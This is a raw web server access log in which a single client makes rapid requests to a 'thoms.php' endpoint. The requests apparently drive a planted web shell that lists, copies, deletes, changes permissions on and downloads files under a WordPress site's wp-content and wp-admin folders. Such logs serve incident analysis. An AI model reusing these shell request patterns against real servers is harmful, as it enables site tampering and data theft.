45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content%2Fupgrade HTTP/1.1" 200 12062 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-content%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /bossini.com.tw/wp-content/upgrade/ HTTP/1.1" 200 696 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content%2Findex.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content%2Findex.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content%2Fuploads&p= HTTP/1.1" 200 12322 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content%2Fuploads&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content%2Fmu-plugins HTTP/1.1" 200 12725 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-content%2Fmu-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /bossini.com.tw/wp-content HTTP/1.1" 301 795 "http://163.245.207.76:443/bossini.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /bossini.com.tw/wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76:443/bossini.com.tw/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content%2Flanguages HTTP/1.1" 200 26672 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-content%2Flanguages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?del=mu-plugins&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13745 "http://163.245.207.76:443/thoms.php?del=mu-plugins&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?chmod=index.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content&upload= HTTP/1.1" 200 12203 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-content&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?del=fonts&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13744 "http://163.245.207.76:443/thoms.php?del=fonts&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?del=plugins&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13715 "http://163.245.207.76:443/thoms.php?del=plugins&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:47 -0400] "GET /thoms.php?chmod=upgrade&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /thoms.php?chmod=uploads&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=uploads&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /thoms.php?del=uploads&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13745 "http://163.245.207.76:443/thoms.php?del=uploads&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content%2Flanguages&p= HTTP/1.1" 200 12329 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content%2Flanguages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content%2Fplugins&p= HTTP/1.1" 200 12332 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content%2Fplugins&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content%2Fupgrade&p= HTTP/1.1" 200 12353 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /thoms.php?chmod=post.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /thoms.php?chmod=themes.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /bossini.com.tw/wp-admin/authorize-application.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /thoms.php?del=export-personal-data.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /bossini.com.tw/wp-admin/options-connectors.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /thoms.php?chmod=post-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin-footer.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin-footer.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:48 -0400] "GET /thoms.php?del=site-health.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?del=site-health.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fupgrade.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fupgrade.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:49 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=async-upload.php HTTP/1.1" 200 14380 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:49 -0400] "GET /bossini.com.tw/wp-admin/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:49 -0400] "GET /thoms.php?chmod=user-edit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:49 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&upload= HTTP/1.1" 200 12184 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:49 -0400] "GET /thoms.php?dl=customize.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=customize.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:49 -0400] "GET /thoms.php?chmod=import.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:49 -0400] "GET /thoms.php?chmod=link.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:49 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=load-scripts.php HTTP/1.1" 200 12954 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmenu.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmenu.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?chmod=site-health-info.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?chmod=custom-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /bossini.com.tw/wp-admin/edit-link-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin%2Fcss HTTP/1.1" 200 29125 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin%2Fcss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmedia-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11435 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fmedia-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fabout.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fabout.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-permalink.php HTTP/1.1" 200 18955 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-permalink.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?chmod=edit-link-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=edit-link-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?dl=import.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=import.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fnetwork.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fnetwork.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?dl=ms-options.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?dl=site-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?dl=site-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:50 -0400] "GET /thoms.php?del=update.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?del=update.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fupdate.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fupdate.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:51 -0400] "GET /thoms.php?dl=user-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:51 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:51 -0400] "GET /thoms.php?del=user&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28994 "http://163.245.207.76:443/thoms.php?del=user&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=error_log HTTP/1.1" 200 11945 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:51 -0400] "GET /bossini.com.tw/wp-admin/export.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=theme-editor.php HTTP/1.1" 200 18618 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=about.php HTTP/1.1" 200 17565 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:51 -0400] "GET /thoms.php?del=edit-link-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28989 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:51 -0400] "GET /thoms.php?chmod=edit-tags.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?chmod=edit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /bossini.com.tw/wp-admin/link-parse-opml.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=link-manager.php HTTP/1.1" 200 13916 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /bossini.com.tw/wp-admin/css/ HTTP/1.1" 200 3614 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fpress-this.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fpress-this.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fsite-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fsite-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=custom-header.php HTTP/1.1" 200 12156 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=custom-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?chmod=index.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=install.php HTTP/1.1" 200 18480 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?del=js&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=js&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Flink.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Flink.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
